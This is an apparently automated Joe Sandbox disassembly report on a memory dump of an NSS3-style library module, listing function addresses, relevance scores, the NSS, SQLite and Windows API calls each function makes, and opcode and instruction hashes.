Instruction ID: 5e2084c6d1c6cd746a8c452e6f16cafab9210c92c3c7d067a95c94392cbb97d6
Opcode Fuzzy Hash: 2c1e121abacf1a091e6725b87924768f0c642fb1dcfa02bc7fdd260d1be5b5d9
Instruction Fuzzy Hash: D62103716043059BC710CE1AC841B6BB7F6BF84308F24852DE84A9BF51E771F948C7A2

Function 6D09CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6D09CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D09CC7B), ref: 6D09CD7A
Part of subcall function 6D09CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D09CD8E
Part of subcall function 6D09CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D09CDA5
Part of subcall function 6D09CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D09CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6D09CCB5
memcpy.VCRUNTIME140(6D1314F4,6D1302AC,00000090), ref: 6D09CCD3
memcpy.VCRUNTIME140(6D131588,6D1302AC,00000090), ref: 6D09CD2B

Part of subcall function 6CFB9AC0: socket.WSOCK32(?,00000017,6CFB99BE), ref: 6CFB9AE6
Part of subcall function 6CFB9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CFB99BE), ref: 6CFB9AFC

Part of subcall function 6CFC0590: closesocket.WSOCK32(6CFB9A8F,?,?,6CFB9A8F,00000000), ref: 6CFC0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6D09CCB0

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 857f9ce5916fbe37835fda198fd04c9735bfd92a7a3c7a35b11d1ff86d2654ea
Instruction ID: 9027707f6704a223047059249e2a986325575c239925980de06a12fb5826ebf7
Opcode Fuzzy Hash: 857f9ce5916fbe37835fda198fd04c9735bfd92a7a3c7a35b11d1ff86d2654ea
Instruction Fuzzy Hash: B01151F9A043559EFB208F6AA8057563AB89347359F120029E50DDB345EBF144854BD7

Function 6CF5A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6D08A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6D0AC3A2,?,?,00000000,00000000), ref: 6D08A528
Part of subcall function 6D08A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D08A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5A94F

Strings

database corruption, xrefs: 6CF5A943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5A939
%s at line %d of [%.10s], xrefs: 6CF5A948

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 5e8b0f7dff0b6349e7daa2d58ca1b11606c2662d136c9cc4974c51f88d5155d6
Instruction ID: 8ec4cc407eea3b9ef6ab948c0268b1a87c65e1bbafa4f8aa288e47da7ce3cf0c
Opcode Fuzzy Hash: 5e8b0f7dff0b6349e7daa2d58ca1b11606c2662d136c9cc4974c51f88d5155d6
Instruction Fuzzy Hash: 23014E71E042145BD7009675DC05F6BB7F4AF84308F45403ADA599B645DB71E924C761

Function 6CF67F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF681DF
LeaveCriticalSection.KERNEL32(?), ref: 6CF68239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF68255
sqlite3_free.NSS3(00000000), ref: 6CF68260

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: dbd11f52f7325159b238b8fc858b9f5d516f395ec8cc11627b3a9692aef1475c
Instruction ID: 22320d4823f6db2521d32d9a5dbda07ac48b314f8504574fc53422a1c348cf7d
Opcode Fuzzy Hash: dbd11f52f7325159b238b8fc858b9f5d516f395ec8cc11627b3a9692aef1475c
Instruction Fuzzy Hash: C1919075A01608EFEF08CFE2E948BEDB7B1BF06304F25012ED4169BA50D7B65985CB81

Function 6D041D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D041D8F

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D041DA6

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6D041E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D041ED0

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 794c81b3febe4344f69818864c74f821d91bc0417978ccb7ba270f44987f6b0c
Instruction ID: 001687949348126135b3f40baed546d3b15c75bfb96b7048aae7d97d1269be81
Opcode Fuzzy Hash: 794c81b3febe4344f69818864c74f821d91bc0417978ccb7ba270f44987f6b0c
Instruction Fuzzy Hash: 35518B79A0030ADFEB00CF99D884BAEB7F6BF49308F118129D9199F250D771E955CB82

Function 6D094FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CF785D2,00000000,?,?), ref: 6D094FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D09500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0950C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0950D6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 2bfd125191b941d37a5681820bd7881435875118befd8df961a5571f66fd2dea
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 1F419FB6A003158FDB18CF19DCD17AAB7E1BF88318B1D4669C849CB706E375E891CB81

Function 6CFBFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CFBFDFE), ref: 6CFBFFAD

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CFBFDFE), ref: 6CFBFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CFBFDFE), ref: 6CFC001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CFBFDFE), ref: 6CFC006F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 45cab91331222f620eca823fd414d0a882eb20ff0114ce3fe7497eef8e44c14b
Instruction ID: baf42fecae94545b01d99cd785e97de42e64c90922b9cc4d992613e8fd47d7ef
Opcode Fuzzy Hash: 45cab91331222f620eca823fd414d0a882eb20ff0114ce3fe7497eef8e44c14b
Instruction Fuzzy Hash: 8A41AFB5B002069FEB08CFA4E884BAF7775FF49304F050129D90697700DBB6A942CBA2

Function 6D0A7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6D0A7ED8

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: a5141890b6873cd7b92db67212846f6ca2ab9dee701329d84b4fceb95782b465
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B23185B2E002158FE704CF48D89099AB7E2BFC8214B1B8169D9595B316EB71EC51CBD1

Function 6D05DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFFAE42), ref: 6CFE30AA
Part of subcall function 6CFE3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE30C7
Part of subcall function 6CFE3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFE30E5
Part of subcall function 6CFE3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFE3116
Part of subcall function 6CFE3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFE312B
Part of subcall function 6CFE3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFE3154
Part of subcall function 6CFE3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6D05DBBD), ref: 6D05DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D05DFEE

Part of subcall function 6CFF86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF8716
Part of subcall function 6CFF86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF8727
Part of subcall function 6CFF86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF873B
Part of subcall function 6CFF86D0: PR_Unlock.NSS3(?), ref: 6CFF876F
Part of subcall function 6CFF86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CFF8787

Part of subcall function 6D01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D01F854
Part of subcall function 6D01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D01F868
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D01F882
Part of subcall function 6D01F820: free.MOZGLUE(04C483FF,?,?), ref: 6D01F889
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D01F8A4
Part of subcall function 6D01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D01F8AB
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D01F8C9
Part of subcall function 6D01F820: free.MOZGLUE(280F10EC,?,?), ref: 6D01F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6D05DBBD), ref: 6D05DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6D05DBBD), ref: 6D05E007

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: f4fb0a5ffbadfc19741f327eacff08db99f4b59cbb30f7ceadd38e69cf6290d2
Instruction ID: aa35c38ed2ff84d10126fca967e457a0d78dbdb8e3d8cccd006d9ad17c582916
Opcode Fuzzy Hash: f4fb0a5ffbadfc19741f327eacff08db99f4b59cbb30f7ceadd38e69cf6290d2
Instruction Fuzzy Hash: C231D9B5A0420657F7115B79AD84B6B73F89F95208F010036EE09C7312FB31D968C3B2

Function 6CFD6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFD6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFD6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CFD6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6D0F8FE0), ref: 6CFD6CFE

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 5de4c5142edc3ec6e062c6eefc46ece57a1515a9ff6eaa5037c59bca41db4fb2
Instruction ID: 6e97f4250bf5c5b8f93e25d87740516638512ce69bda8c32d3710aff1d18765a
Opcode Fuzzy Hash: 5de4c5142edc3ec6e062c6eefc46ece57a1515a9ff6eaa5037c59bca41db4fb2
Instruction Fuzzy Hash: 8A31C4B1A002169FEB04DF65D881ABFBBF5EF49248F15493DE905D7310EB71A901CBA0

Function 6D0E4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6D0E4F5D
free.MOZGLUE(?), ref: 6D0E4F74
free.MOZGLUE(?), ref: 6D0E4F82
GetLastError.KERNEL32 ref: 6D0E4F90

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 4cb3b336c171491c20c072bd66f19b7ff96290d0a059ec031d5639fc8a03bec7
Instruction ID: ffcaf0a95cdbc0029bf5b192d80c2ef1e9e051b1e6559674905d1f623ebe65b9
Opcode Fuzzy Hash: 4cb3b336c171491c20c072bd66f19b7ff96290d0a059ec031d5639fc8a03bec7
Instruction Fuzzy Hash: F0313775A0020A6FFB00CE69DC85BEEB3F8FF89794F014129E915A7281E734E9048691

Function 6D046DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6D046E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D046E57

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6D046E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6D046EAA

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: af5f16b8730f0ae09cf3b0848e59f69c438163ab9686c153051dfb12159365ea
Instruction ID: 019aff295475b60ed3694ad48b7c62a1bd3db9aa040fb9d0a2ba94f871b0532c
Opcode Fuzzy Hash: af5f16b8730f0ae09cf3b0848e59f69c438163ab9686c153051dfb12159365ea
Instruction Fuzzy Hash: BE31BF71624613EEFB145F75D804BEBB7E4AB0531AF90863CD99A97241FB306854CBC1

Function 6D02DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6D02DDB1,?,00000000), ref: 6D02DDF4

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6D02DDB1,?,00000000), ref: 6D02DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6D02DDB1,?,00000000), ref: 6D02DE17

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6D02DE80

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 65cb4885704794bb4e0d82ec77702d7dba72b65292ca1465ac2a504412765c5a
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 5D3193B1905B439BFB00CF16D880766B7E4BFE5328B15822AD91D87701E774E9A0CBE1

Function 6D023F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6D023440: PK11_GetAllTokens.NSS3 ref: 6D023481
Part of subcall function 6D023440: PR_SetError.NSS3(00000000,00000000), ref: 6D0234A3
Part of subcall function 6D023440: TlsGetValue.KERNEL32 ref: 6D02352E
Part of subcall function 6D023440: EnterCriticalSection.KERNEL32(?), ref: 6D023542
Part of subcall function 6D023440: PR_Unlock.NSS3(?), ref: 6D02355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FFE
PR_SetError.NSS3 ref: 6D02401A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
